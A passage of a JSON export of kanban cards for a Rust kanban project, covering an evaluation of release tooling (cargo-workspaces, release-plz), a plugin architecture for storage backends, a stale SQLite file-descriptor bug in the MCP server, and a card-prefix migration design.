run .#changeset`, interactive)\n- The PR-number → CHANGELOG link (passed as arg to aggregate-changelog)\n- The develop sync-back step (release.yml step 13, plain git)\n- The AUR publish (separate workflow, triggered by `release: published` event)\n- The git tag + GitHub Release creation (release.yml steps 11–12)\n\n---\n\n## Option 1 — Make the crate list dynamic (no tool replacement)\n\n**What changes.** Both `validate-release.sh` and `publish-crates.sh` derive their CRATES array dynamically via `cargo metadata` instead of hardcoding it.\n\n**Implementation sketch (~15 lines):**\n\n```bash\n# scripts/lib/crate-order.sh\nget_publish_order() {\n  cargo metadata --no-deps --format-version 1 \\\n    | jq -r '\n        .packages\n        | map({name: .name, deps: [.dependencies[] | select(.path != null) | .name]})\n        | .[]\n        | \"\\(.name) \\(.deps | join(\" \"))\"\n      ' \\\n    | tsort \\\n    | tac    # reverse: leaves first\n}\n\n# in publish-crates.sh and validate-release.sh:\nsource \"$(dirname \"$0\")/lib/crate-order.sh\"\nmapfile -t CRATES < <(get_publish_order | sed 's|^|crates/|')\n```\n\n**What this fixes:**\n- ✅ Dual-list drift (the PR #208 bug) — single source of truth via cargo\n- ✅ Adding a new crate becomes a Cargo.toml change only; scripts auto-discover\n- ✅ Topo-sort comes for free from `cargo metadata`'s dep graph\n\n**What this does NOT fix:**\n- ❌ Still 4 scripts of bash to maintain\n- ❌ `--no-verify` in validate-release (separate sibling card)\n- ❌ Partial-publish recovery still manual (run again, skip-if-published catches existing versions, but failure-mid-publish still requires human attention)\n- ❌ Changeset format remains custom (no ecosystem tooling can read it)\n\n**Effort:** half-day. Can ship as the immediate follow-up to PR #208's validate-release fix.\n\n**Motivation:** highest value-per-line-changed. Eliminates the exact regression that bit us in PR #208 without introducing any new tooling, conventions, or contributor friction.\n\n---\n\n## Option 2 — Migrate to `cargo-workspaces`\n\n**What it is.** A `cargo` subcommand (invoked as `cargo ws`) that handles workspace version bumping and topo-sorted publishing. v0.4.2 (Dec 2025), 586 stars, actively maintained, originally built for `clap-rs/clap`.\n\nDocs: https://github.com/pksunkara/cargo-workspaces\n\n**Replaces:**\n- `bump-version.sh` — `cargo ws version <level> --yes --no-git-commit --no-git-push` does the workspace + path-dep rewrite (this is the part of the script with the most risk per line of bash). The script's `.changeset/*.md` reading-and-aggregating logic must be kept (or replaced) — ~30 lines.\n- `publish-crates.sh` — `cargo ws publish --publish-interval 10 --from-git --skip-published` does topo-order + pacing + skip-already-published. Direct replacement.\n- `validate-release.sh` — `cargo ws plan --skip-published` (lists what would be published) + `cargo ws publish --dry-run` (per-crate verify). Replaces structural checks; the existing script's `cargo check --workspace --all-features` step can stay as an explicit CI step.\n\n**Does NOT replace:**\n- `aggregate-changelog.sh` — cargo-workspaces has no changelog support. Either keep the script (it's the most stable of the four) or pair with `git-cliff` driven by Conventional Commits.\n\n**Net result of migration:**\n- ~250 lines of bash removed across 3 scripts\n- ~50 lines of `cargo ws` invocations added to release.yml\n- Changeset workflow preserved (contributors keep using `.changeset/*.md` for bump-level signaling)\n\n**Configuration file:** `[workspace.metadata.workspaces]` block in root `Cargo.toml`:\n```toml\n[workspace.metadata.workspaces]\nallow_branch = \"master\"      # we currently push from master after merge\nno_individual_tags = true    # we use a single vX.Y.Z tag, not per-crate name@X.Y.Z tags\n```\n\n**Gotchas to validate during spike:**\n1. **`--skip-published` lives on `plan`, not `publish`.** Partial-publish recovery: re-run with `--from-git` to skip the version-bump step, but a crate that was mid-publish when CI died may need manual `cargo publish` from its directory. Not worse than today, just different.\n2. **Default tag scheme** creates per-crate `name@X.Y.Z` tags in addition to the global `vX.Y.Z` — must explicitly suppress with `--no-individual-tags` to avoid breaking `aur-publish.yml`'s `release: published` trigger (which expects exactly one tag per release).\n3. **Native alternative worth knowing:** Rust 1.90 added `cargo publish --workspace` with built-in topo-sort. Covers the publish step with zero deps but doesn't bump versions or skip-already-published — cargo-workspaces still wins for the bump+publish combo.\n4. **`develop` branch defaults.** cargo-workspaces defaults push to `origin master`; release.yml runs on master so this is fine, but the `develop` sync-back step (release.yml step 13) stays as plain git regardless.\n5. **`--allow-dirty` semantics differ.** Current publish-crates.sh uses `--allow-dirty` because `bump-version.sh` mutates Cargo.toml without committing. Under cargo-workspaces the bump+commit+publish flow is unified, so `--allow-dirty` shouldn't be needed; verify in spike.\n\n**Effort:** 2–3 days including spike branch + dry-run release rehearsal.\n\n**Motivation:** removes the highest-risk bash (`bump-version.sh`'s sed-based path-dep rewriting — every minor bump rewrites 9 manifests) in favor of a tool that does this as its primary feature. Preserves the existing changesets contributor experience; no commit-convention switch required.\n\n---\n\n## Option 3 — Migrate to `release-plz`\n\n**What it is.** Full Rust release automation. Long-lived \"chore: release\" PR that release-plz keeps rebased; merging the PR triggers tag creation, crates.io publish, and GitHub Release creation. v0.3.157 (Feb 2026), 1.4k stars, actively maintained, used by `tokio-console`, `rabbitmq-stream-rust-client`.\n\nDocs: https://release-plz.dev/docs\n\n**Replaces:** all 4 scripts plus the `.changeset/` directory entirely.\n\n**Workflow shift:**\n- Today: every contributor PR ships a `.changeset/*.md` file declaring `bump: major|minor|patch`. Release happens automatically on merge to master.\n- With release-plz: contributors write Conventional Commits (`feat:`, `fix:`, `feat!:` for breaking, etc.). release-plz parses commits since last tag, opens a \"chore: release\" PR with proposed version + CHANGELOG diff. Merging the release PR triggers publish.\n\n**What replaces what:**\n| Today | release-plz |\n|---|---|\n| `.changeset/*.md` with `bump:` frontmatter | Conventional Commit prefix on each commit |\n| `bump-version.sh` | `release-plz update` (auto, runs in release-PR job) |\n| `aggregate-changelog.sh` | git-cliff via release-plz (built-in, configurable templates) |\n| `publish-crates.sh` | `release-plz release` (release job, runs after PR merge) |\n| `validate-release.sh` | The release PR diff itself + `release-plz release --dry-run` |\n| `release.yml` (~140 lines) | `.github/workflows/release-plz.yml` (~30 lines) using `release-plz/action@v0` |\n\n**Configuration file:** `release-plz.toml` at repo root, with `[workspace]` defaults and `[[package]]` overrides per-crate. Per-crate `publish = false` for crates not on crates.io.\n\n**Required secrets:**\n- `GITHUB_TOKEN` (built-in)\n- `CARGO_REGISTRY_TOKEN` (already present)\n- Recommended: `RELEASE_PLZ_TOKEN` (PAT or GitHub App) so release-PR merges retrigger CI; with the default `GITHUB_TOKEN` they don't.\n\n**Gotchas:**\n1. **Convention switch is non-negotiable.** Every commit needs a Conventional Commits prefix. CONTRIBUTING.md needs updating; CI should add a commit-message linter (e.g. `commitlint`).\n2. **Workspace path-dep handling has been rocky pre-0.3.157.** Issue #1181 (bump-loop on workspace path deps) was fixed in v0.3.157 (Feb 2026). For a 9-crate workspace with `^X.Y` constraints, pilot on a branch before cutting over.\n3. **`cargo-semver-checks` runs against the *default* feature set.** A breaking change behind a feature flag (e.g. `sqlite`-only API change) may not be detected. Not a blocker — manual `bump: major!` overrides are still possible — but worth knowing.\n4. **No equivalent to `validate-release.sh` as a single command.** The release PR's diff is the primary review surface; `release-plz release --dry-run` covers crates.io shape but not the structural checks our current script does. Some current checks (e.g. `cargo check --workspace --all-features`) become explicit CI steps rather than living inside the release script.\n5. **`kanban-mcp` publishability.** If we don't publish kanban-mcp to crates.io, mark `publish = false` in `release-plz.toml`. Current behavior: `publish-crates.sh` does publish it. Decision needed.\n6. **AUR workflow compatibility.** `aur-publish.yml` triggers on `release: published`. release-plz creates GitHub Releases via the official action — trigger should still fire correctly, but verify in spike.\n7. **`develop` sync-back.** release-plz operates on a single trunk. The current `master` (release) / `develop` (integration) split needs reconsideration — either keep develop sync-back as a separate workflow (today's approach), or collapse to single trunk (typical release-plz pattern).\n\n**Effort:** 1 week including spike, contributor docs update, commitlint wiring, dry-run rehearsal.\n\n**Motivation:** maximally reduces release-infra surface (4 scripts + 140-line workflow → ~30-line workflow + config file). Brings the project onto the same release pattern as a large fraction of the modern Rust ecosystem, lowering onboarding cost for new contributors familiar with that pattern. Adds release-PR review gate (last chance to catch a bad bump before publish).\n\n---\n\n## Comparison matrix\n\n| Concern | Today (4 scripts) | Option 1 (dynamic) | Option 2 (cargo-workspaces) | Option 3 (release-plz) |\n|---|---|---|---|---|\n| Lines of bash to maintain | ~400 | ~415 (slight increase) | ~150 (mostly aggregate-changelog) | 0 |\n| Path-dep `^X.Y` rewriting | Bespoke sed | Bespoke sed (unchanged) | Native `cargo ws version` | Native `release-plz update` |\n| Topo-sorted publish | Hand-curated array | Auto via `cargo metadata` | Native `cargo ws publish` | Native `release-plz release` |\n| Skip-already-published | curl + grep | curl + grep (unchanged) | Native `--skip-published` | Native (registry query) |\n| Pacing between publishes | `sleep 10` | `sleep 10` | `--publish-interval 10` | `publish_timeout` (default 30m, polls registry) |\n| Changeset support | Custom format | Custom format (unchanged) | Custom format (kept) | None — Conventional Commits |\n| Changelog generation | aggregate-changelog.sh | aggregate-changelog.sh (unchanged) | aggregate-changelog.sh OR git-cliff | Built-in (git-cliff) |\n| Release model | On-merge automatic | On-merge automatic | On-merge automatic | Release PR (review gate) |\n| Contributor friction | Add a `.changeset/*.md` file | Same | Same | Use Conventional Commits |\n| Migration risk | — | Low | Medium | Higher |\n| Time to migrate | — | 0.5 day | 2–3 days | ~1 week |\n| AUR workflow compatibility | ✅ | ✅ | ✅ (suppress per-crate tags) | Verify in spike |\n| Develop sync-back | Plain git step | Plain git step | Plain git step | Reconsider trunk model |\n\n---\n\n## Recommended path\n\n**Now (this week):** Execute option 1 as the immediate follow-up to the validate-release.sh staleness fix. Half-day. Eliminates the duplicate-list class of bug structurally.\n\n**Next sprint (spike):** One-day branch with cargo-workspaces config, run a dry-run release end-to-end against a fork or a `0.4.0-rc1` tag. If clean, schedule a 2-day cutover. Decision criterion: does release.yml shrink, and does the `cargo ws publish` recovery story feel safer than the current bash on partial-publish failure?\n\n**Later (defer):** release-plz evaluation. Only consider if (a) we want a release-PR review gate, or (b) the release-PR + Conventional Commits ergonomics are independently desired by contributors, or (c) cargo-workspaces hits a wall during the spike.\n\n---\n\n## TDD plan (Red → Green → Refactor)\n\nThe card's eventual implementation, per project conventions in CLAUDE.md.\n\n### For option 1 (dynamic crate list)\n\n- **Red:** Write a CI check `scripts/check-crate-list-dynamic.sh` that:\n  1. Compares `get_publish_order` output against the current hardcoded array.\n  2. Asserts every crate in `crates/` appears in the topo-sorted list.\n  3. Asserts the topo-sort respects every inter-crate `path = ` dep.\n  Run it now — the equality check FAILS (proving the test is real and the current scripts have hand-curated drift).\n- **Green:** Replace the hardcoded arrays in `validate-release.sh` and `publish-crates.sh` with a call to `get_publish_order`. Re-run the check; passes. Run a full local rehearsal of `validate-release.sh` against a tempfile workspace.\n- **Refactor:** Extract `get_publish_order` into `scripts/lib/crate-order.sh`, source from both call sites. Add a unit-test stub (using a fixture workspace under `tests/fixtures/`) so future contributors can verify the topo-sort against a known graph. Confirm the CI check still passes.\n\n### For option 2 (cargo-workspaces spike)\n\n- **Red:** Branch off develop. In CI, add a workflow that on `workflow_dispatch` runs `cargo ws version patch --yes --no-git-commit --no-git-push` against a fresh checkout, then runs `cargo check --workspace --all-features`. Trigger manually — initial run should fail because cargo-workspaces isn't installed. Add `taiki-e/install-action@cargo-workspaces`. Re-run; this time it should succeed but produce a *diff* — that diff is the test artifact: every Cargo.toml's version field bumped, every `version = \"^0.3\"` rewritten to `^0.3.6` (or whatever next patch is). Compare to the diff `bump-version.sh` produces from the same starting state. Discrepancies are bugs to triage.\n- **Green:** Once the diffs match (modulo the changeset reading, which is upstream of cargo-workspaces), wire `cargo ws publish --dry-run --skip-published` and confirm the per-crate publish set matches `publish-crates.sh`'s output.\n- **Refactor:** Replace `bump-version.sh`'s sed block with a `cargo ws version` call (keeping the changeset-reading prelude). Replace `publish-crates.sh` with `cargo ws publish`. Replace `validate-release.sh` Step 5 with `cargo ws plan --skip-published`. Delete the dead bash. Update CONTRIBUTING.md if any contributor-facing surface changed (it shouldn't — changesets stay the same).\n\n### For option 3 (release-plz, deferred)\n\nSame Red → Green → Refactor pattern, on a longer-lived spike branch. Red phase includes: (a) fixture commits with Conventional Commit prefixes, (b) verify release-PR opens correctly with expected version + CHANGELOG diff, (c) verify path-dep `^X.Y` rewrites match what bump-version.sh would produce. Skip until option 2 is evaluated.\n\n---\n\n## SOLID principles applied\n\n- **Single Responsibility.** Today, the 4 scripts each have a single responsibility (good). The crate list, however, has *no* clear owner — both `validate-release.sh` and `publish-crates.sh` claim it. Option 1 gives it one owner (`scripts/lib/crate-order.sh`); Option 2/3 give it to the tool. All three options improve SRP at the workspace level.\n- **Open/Closed.** Adding a 10th crate today requires editing 2 scripts. Option 1: edit zero (auto-discovered). Option 2: edit zero (auto-discovered by `cargo ws`). Option 3: edit zero (auto-discovered by release-plz). All three options achieve OCP for the \"add a crate\" extension.\n- **Liskov Substitution.** N/A at the script layer.\n- **Interface Segregation.** Today, `publish-crates.sh` calls `validate-release` *internally* — coupling the publish interface to the validation interface. Option 2 splits these (`cargo ws plan` vs `cargo ws publish`). Option 3 keeps them separate by design (release-PR is the validation gate, release job is the publish action).\n- **Dependency Inversion.** Today's scripts depend on a concrete file path layout (`crates/*/Cargo.toml`) and a concrete version regex. Option 1 inverts via `cargo metadata`'s structured output. Options 2/3 invert via the tool's stable CLI contract.\n\n---\n\n## Open questions / decisions requiring user input\n\n1. **Publish kanban-mcp to crates.io?** Currently it's published. If we keep that, no action; if we don't, set `publish = false` in whichever tool config we land on (and remove from `publish-crates.sh`'s array if staying on option 1).\n2. **Stay on changesets, or adopt Conventional Commits?** This is the make-or-break for option 3. Worth a separate discussion before committing.\n3. **Master/develop split, or collapse to single trunk?** Today: `develop` is the integration branch, `master` is the release branch, sync-back step closes the loop. release-plz typically operates on a single trunk. cargo-workspaces and option 1 are agnostic.\n4. **Spike budget.** Allocate 1 day to option 1 (clear scope) and decide whether to allocate 2–3 more for option 2 spike based on option 1's outcome.\n\n---\n\n## References\n\n- cargo-workspaces — https://github.com/pksunkara/cargo-workspaces\n- release-plz — https://release-plz.dev/docs\n- release-plz quickstart — https://release-plz.dev/docs/github/quickstart\n- cargo metadata format — https://doc.rust-lang.org/cargo/commands/cargo-metadata.html\n- Orhun's \"Fully Automated Releases for Rust Projects\" — https://blog.orhun.dev/automated-rust-releases/\n- Rust 1.90 `cargo publish --workspace` — context for native alternative without third-party tooling\n- Sibling card: PR #208 (release 0.4.0) — fix validate-release.sh staleness before merge",
        "due_date": null,
        "id": "16b967c5-fc0e-4f04-a94d-deb3824ef26f",
        "points": 5,
        "position": 186,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806912512Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Evaluate replacing custom release scripts with cargo-workspaces or release-plz",
        "updated_at": "2026-05-07T21:58:57.806912858Z"
      },
      {
        "card_number": 229,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-03-22T23:28:28.451012014Z",
        "description": "kanban-service was missing from publish-crates.sh and kanban-mcp was listed before it. Fixed dependency order so kanban-service is published before kanban-mcp.",
        "due_date": null,
        "id": "248ecbc5-0ff9-43ca-9f6c-5ca66da55a0d",
        "points": 1,
        "position": 186,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856511404Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix publish-crates order: add kanban-service before kanban-mcp",
        "updated_at": "2026-05-14T10:57:05.237253062Z"
      },
      {
        "card_number": 245,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-03-29T14:54:57.405559892Z",
        "description": "TUI handlers catch command execution errors with tracing::error! but never call set_error() to show them to the user. Wire up Banner display for NotFound and other domain errors so the user gets visible feedback when an action fails silently. See PR #200 review for context.",
        "due_date": null,
        "id": "a498add8-d3a4-44f7-8372-450c956de89f",
        "points": 3,
        "position": 187,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856507373Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Surface command errors to user via Banner in TUI handlers",
        "updated_at": "2026-05-14T11:00:27.556031048Z"
      },
      {
        "card_number": 260,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-03-30T23:00:15.657707871Z",
        "description": "## Problem\n\nThe current storage backend system requires compile-time feature flags threaded through 3 crates (`kanban-service` → `kanban-cli` → `kanban-tui`) for each backend. Third-party backends cannot be added without forking or rebuilding the app. This defeats the pluggable storage goal.\n\nDynamic plugin approaches (.so/dlopen, WASM, process-based IPC) all introduce significant complexity and tradeoffs (ABI instability, latency, unsafe code, heavy dependencies).\n\n## Solution: Inverted Dependency Model\n\nInstead of kanban loading plugins, **the plugin builds kanban**. The third-party backend owns `main()` and depends on kanban as a library.\n\n### Third-party usage\n\n```rust\n// kanban-s3/src/main.rs\nuse kanban_cli::App;\nuse kanban_s3_backend::S3StoreFactory;\n\nfn main() {\n    let mut app = App::default();\n    app.register_backend(S3StoreFactory);\n    app.run();\n}\n```\n\nUsers install with: `cargo install kanban-s3`\n\n### Changes Required\n\n#### 1. `kanban-cli` — expose as library + binary\n- Add `lib.rs` alongside `main.rs`\n- Export an `App` struct (or `AppBuilder`) with:\n  - `App::default()` — creates app with no backends\n  - `App::with_defaults()` — creates app with in-tree backends (JSON + SQLite)\n  - `app.register_backend(impl StoreFactory)` — register additional backends\n  - `app.run()` — starts the TUI/CLI\n- `main.rs` just calls `App::with_defaults().run()`\n\n#### 2. `kanban-mcp` — same pattern\n- Expose `KanbanMcpServer` builder with `register_backend`\n- Third parties can build a custom MCP server binary with their backend\n\n#### 3. `kanban-service` — simplify\n- Remove `default_registry()` and feature-gated backend registration\n- Accept a `StoreRegistry` from the caller (passed down from `App`)\n- Make all in-tree backends default deps (no more feature flags for JSON/SQLite)\n\n#### 4. `kanban-persistence` — add Tier 1 contract tests\n- Move persistence-level contract tests into `kanban-persistence` behind `test-helpers` feature\n- Tests operate at `StoreSnapshot` save/load level only (no `KanbanContext` dependency)\n- Third-party backends depend only on `kanban-persistence` for traits + test suite\n- Keep existing Tier 2 roundtrip tests in `kanban-service` for in-tree backends\n\n#### 5. Remove feature flag wiring\n- Remove `sqlite` feature from `kanban-cli`, `kanban-tui`, `kanban-mcp`\n- Remove `sqlite-storage`/`json-storage` features from `kanban-service`\n- Both backends become unconditional dependencies\n\n### Third-party backend developer experience\n\n1. Create crate, depend on `kanban-persistence` (for traits) and `kanban-cli` (for `App`)\n2. Implement `PersistenceStore` + `StoreFactory`\n3. Run `kanban_persistence::contract_tests!(my_factory)` in tests (Tier 1 — persistence level)\n4. Build binary: `App::default().register_backend(MyFactory).run()`\n5. Publish to crates.io\n\n### Multi-client compatibility (TUI, CLI, MCP)\n\nAll three client surfaces accept backends through the same pattern — they all flow to StoreRegistry -> KanbanContext:\n\n```rust\n// TUI\nApp::default().register_backend(PostgresStoreFactory).run();\n\n// CLI (headless)\nApp::default().register_backend(PostgresStoreFactory).run_cli();\n\n// MCP server\nMcpServer::default().register_backend(PostgresStoreFactory).serve();\n```\n\nThird-party crates can ship multiple binaries from one crate:\n\n```toml\n# kanban-postgres/Cargo.toml\n[[bin]]\nname = \"kanban-postgres\"\npath = \"src/main.rs\"         # TUI with Postgres\n\n[[bin]]\nname = \"kanban-postgres-mcp\"\npath = \"src/mcp.rs\"          # MCP server with Postgres\n```\n\nThis requires both kanban-cli and kanban-mcp to expose their runners as library APIs that accept a StoreRegistry. The internal flow is unchanged — stores are created before any client-specific code runs, so TUI/CLI/MCP never need to know which backend is in use.\n\n### What stays the same\n- `PersistenceStore` and `StoreFactory` trait definitions unchanged\n- `StoreRegistry` matching logic unchanged\n- All existing domain/service/TUI code unchanged\n- Default `kanban` binary ships with JSON + SQLite as today\n\n### Precedent\nThis is the same pattern used by axum, bevy, mdbook — the \"plugin\" owns main(), the framework is a library dependency.\n\n## Reference Implementation: PostgreSQL Backend (`kanban-persistence-postgres`)\n\nBuild a PostgreSQL storage backend as the first third-party-style plugin to validate the architecture. This serves as both a useful backend and a reference for third-party developers.\n\n### Why PostgreSQL\n- Validates the plugin model end-to-end with a real networked database (vs SQLite's embedded model)\n- Exercises the `StoreFactory` pattern with connection strings (`postgres://...`) instead of file paths\n- Proves the architecture works for backends where the locator is a URI, not a filesystem path\n- High demand use case: shared/team kanban boards backed by a central database\n\n### Implementation\n- New crate: `kanban-persistence-postgres` — lives in-tree under `crates/` like JSON and SQLite (same workspace, same code patterns, same quality bar)\n- **But wired as a plugin**: not registered in `default_registry()`, no feature flags in `kanban-service`/`kanban-cli`. Instead ships its own binary entrypoint using `App::default().register_backend(PostgresStoreFactory).run()`\n- This is the dogfooding constraint: if the in-tree Postgres crate can integrate purely through the plugin API, any external crate can too\n- Depends on `kanban-persistence` for traits, `sqlx` with `postgres` feature\n- `PostgresStoreFactory` matches `postgres://` and `postgresql://` URI schemes\n- Relational schema similar to SQLite backend but using PostgreSQL types (JSONB, TIMESTAMPTZ, etc.)\n- Must pass all Tier 1 contract tests from `kanban-persistence`\n- Must pass Tier 2 roundtrip tests from `kanban-service`\n- Integration tests run against a real PostgreSQL instance (docker-compose or testcontainers)\n\n### Validation criteria\n- A third-party developer can look at this crate and replicate the pattern for their own backend\n- The crate works both in-tree (as a default backend in the main binary) and as a standalone `cargo install kanban-postgres` binary\n- Documentation in the crate serves as a plugin development guide",
        "due_date": null,
        "id": "f78d2716-636a-49bc-b88f-c5b5329c84ae",
        "points": 4,
        "position": 188,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856462903Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Invert storage backend plugin architecture",
        "updated_at": "2026-05-14T11:00:27.556040531Z"
      },
      {
        "card_number": 395,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-04T22:34:45.379706357Z",
        "description": "## Bug\n\nWhen kanban-mcp starts, it opens the SQLite database file and holds a file descriptor to that inode. If a git operation (checkout, reset --hard, merge) replaces the database file on disk with a different version (new inode), the MCP server continues writing to the old inode via its open file descriptor. The new inode (now at the same path) does not receive those writes.\n\n## Symptoms observed\n\n1. MCP tool calls return success (card created, sprint assigned, status updated).\n2. The kanban CLI — which opens a fresh connection to the current file — cannot find the cards.\n3. sqlite3 direct queries on the database file confirm the records do not exist.\n4. The SQLite WAL file is 0 bytes (all MCP writes are silently lost or checkpointed to the orphaned old inode).\n5. The issue persists until the MCP server process is restarted and reopens the file by path (getting the new inode).\n\n## Reproduction\n\n1. Start kanban-mcp against a SQLite-backed kanban file (e.g. docs/sock).\n2. Run a git operation that replaces the file: git checkout <branch> -- docs/sock or git reset --hard.\n3. Use an MCP tool to create a card. The response indicates success.\n4. Run kanban docs/sock card get <new-card-id> via the CLI. Returns 'Card not found'.\n5. Run sqlite3 docs/sock 'SELECT * FROM cards ORDER BY card_number DESC LIMIT 3;'. New card is absent.\n\n## Root cause\n\nSQLite identifies files by inode, not path. When git replaces the file (unlink + create new inode), the MCP server's open fd still points to the old inode. Writes go to the old inode which is no longer reachable via the filesystem path. The new inode at docs/sock is a fresh database that never receives those writes.\n\n## Impact\n\n- Silent data loss: users believe kanban state is persisted when it is not.\n- Requires MCP server restart to recover; any changes made in the interim must be redone.\n- Particularly affects workflows that use git branching (checkout, stash, merge) on the same file the MCP server has open.\n\n## Suggested fix\n\nOptions in rough priority order:\n\n1. **Reopen by path on each write** — detect stale fd via inode comparison (stat the path vs fstat the fd) before each write. If they differ, close and reopen by path. This is the most robust fix.\n2. **Use inotify/kqueue to watch the file path** — receive IN_DELETE_SELF or IN_MOVE_SELF events and reopen automatically.\n3. **Expose a SIGHUP or MCP tool to reload the file** — lets the client (e.g. Claude Code) trigger a reconnect after a known git operation.\n4. **Document the limitation** — warn in the MCP server startup log that git operations replacing the file require a server restart.",
        "due_date": null,
        "id": "46faebb3-1b19-40ca-8a8c-e3a1a2c4954b",
        "points": null,
        "position": 188,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806917264Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "MCP server holds stale file descriptor when git replaces the database file on disk",
        "updated_at": "2026-05-07T21:58:57.806917611Z"
      },
      {
        "card_number": 341,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-04-13T20:27:32.244827437Z",
        "description": "## Problem\n\nWhen a card is created, `assigned_prefix` is set from `board.card_prefix` at creation time. If the board prefix later changes, or the card is assigned to a sprint with its own `card_prefix`, the identifier lookup uses the stale `assigned_prefix` (it ranks above `sprint.card_prefix` in the hierarchy), making the card unreachable by its sprint prefix.\n\n---\n\n## Design Discussion\n\n### Why multi-alias (track all historical prefixes) does not work\n\n`prefix_counters` is per-prefix per-board. Two sprints can independently use the same `card_prefix`. If Card A (sprint 1, prefix SPR) and Card B (sprint 3, prefix SPR) both have card_number=5, `SPR-5` is genuinely ambiguous. The KAN-211 multi-match return handles ambiguity gracefully but does not eliminate it — two legitimately different cards with the same identifier is worse than a lookup oddity.\n\n### Why hierarchy reorder has the same collision risk\n\nReordering to `sprint.card_prefix → card.assigned_prefix → board.card_prefix` shifts which scenario causes the collision but does not eliminate it. A card created as KAN-5 assigned to sprint SPR resolves as SPR-5. A card created as SPR-5 (board prefix was SPR at creation) also resolves as SPR-5. Same collision, different trigger.\n\n### Sprint prefix uniqueness closes the collision\n\nAll constraints are scoped to a single board — `prefix_counters`, sprint `card_prefix` values, `assigned_prefix` values, and card numbers all live within one board. Cross-board sprints are not a realistic Scrum/Kanban scenario (that is program-level coordination, not sprint sharing).\n\nIf sprint `card_prefix` is enforced unique against `board.prefix_counters` (all historical board prefixes) AND against other sprints on the same board, then no sprint prefix can ever equal any card's `assigned_prefix`. The collision is structurally impossible.\n\n### card.card_prefix is dead weight\n\n`card.card_prefix` (the per-card override field) is always `None` at creation (card_commands.rs:154). The CLI handler hardcodes `card_prefix: FieldUpdate::NoChange`. The TUI has no UI for it. It has never been set in any code path. It adds a fourth level to the hierarchy with no practical benefit.\n\n### card.assigned_prefix should also be dropped\n\n`assigned_prefix` only exists to preserve the prefix a card was created under if `board.card_prefix` later changes. If the board prefix is locked (immutable once cards exist), `assigned_prefix` is always equal to `board.card_prefix` — redundant by definition. It can be dropped entirely and prefix resolved purely by function.\n\n---\n\n## Target Model\n\n**Prefix resolution (fully functional, nothing stored on card):**\n`sprint.card_prefix → board.card_prefix`\n\n- Card created on board → board prefix + board counter → e.g. KAN-5\n- Card assigned to sprint with prefix SPR → resolves as SPR-5 (same number, prefix is dynamic)\n- Card dropped from sprint → resolves as KAN-5 again\n- Card number is stable (assigned once at creation, never changes)\n\n**Locking rules:**\n- `board.card_prefix` is immutable once the first card is created\n- `sprint.card_prefix` is immutable once the first card is assigned to the sprint\n- Sprint `card_prefix` must not appear in `board.prefix_counters` (all historical board prefixes)\n- Sprint `card_prefix` must not match any other sprint's `card_prefix` on the same board\n\n**Counters:**\n- Board: `card_counter: u32` — single value, replaces `prefix_counters: HashMap<String, u32>` (since prefix is now locked, the HashMap always had one meaningful key)\n- Sprint: no card counter — sprint prefix is a label only, card numbers come from the board counter\n- Sprint numbering counter (`sprint_counters`) unchanged\n\n---\n\n## Migration Required (both backends)\n\n### Key insight: assigned_prefix IS the prefix change history\n\n`card.assigned_prefix` on existing cards already records exactly what prefix each card was created under — it is the historical record of board prefix changes, just stored per-card rather than per-board. The migration can use it precisely:\n\n1. Bucket all cards by `assigned_prefix` value\n2. Each bucket's `max(card_number) + 1` is the correct counter for that prefix\n3. The bucket matching `board.card_prefix` becomes `board.card_counter`\n4. Collision detection: if card_numbers overlap across buckets, those cards would become ambiguous post-migration — surface as errors before dropping the field\n\nThis makes the migration fully deterministic. No guessing, no heuristics. The existing field contains exactly the information needed to reconstruct counters correctly and detect every collision case. After the migration, the field is dropped and locking prevents the situation from recurring.\n\nSimilarly, `sprint_logs` on cards already tracks which sprints a card has been assigned to with timestamps — the same pattern applied to boards would reconstruct the full prefix history if needed.\n\n### JSON: V2 → V3\n\n1. For each board: bucket cards by `assigned_prefix`, find bucket matching `board.card_prefix`, set `board.card_counter` to `max(card_number) + 1` from that bucket\n2. Collision check: if any card_number appears in more than one `assigned_prefix` bucket, abort with an error listing the conflicting identifiers\n3. Drop `card.assigned_prefix` on every card\n4. Drop `card.card_prefix` on every card\n\n### SQLite: schema v1 → v2\n\n1. Same bucketing and collision check logic in a migration transaction\n2. Populate `card_counter` on boards table from the above\n3. 